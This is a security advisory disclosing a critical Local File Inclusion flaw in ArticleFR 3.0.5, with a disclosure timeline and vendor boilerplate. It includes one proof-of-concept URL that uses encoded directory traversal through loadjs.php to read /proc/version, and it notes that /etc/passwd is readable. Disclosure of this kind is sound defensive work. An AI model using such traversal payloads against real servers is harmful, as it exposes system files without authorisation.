Information
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Advisory by Netsparker (now Invicti)
Name: Local File Inclusion Vulnerability in ArticleFR
Affected Software: ArticleFR
Affected Versions: 3.0.5 and possibly below
Vendor Homepage: http://freereprintables.com/
Vulnerability Type: Local File Inclusion
Severity: Critical
Invicti Advisory Reference: NS-15-004

Description
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By exploiting a Local File Inclusion vulnerability the attacker can gather usernames via an "/etc/passwd" file and more.

Technical Details
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Proof of Concept URLs for LFI in ArticleFR:

http://example.com/articleFR-3.0.5/application/templates/amelia/loadjs.php?s=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fversion

For more information on local file inclusion vulnerabilities read the article Local File Inclusion (LFI).

Advisory Timeline
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23/01/2015 - First Contact
30/01/2015 - Second Contact
17/02/2015 - Third Contact
03/03/2015 - No answer, advisory released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.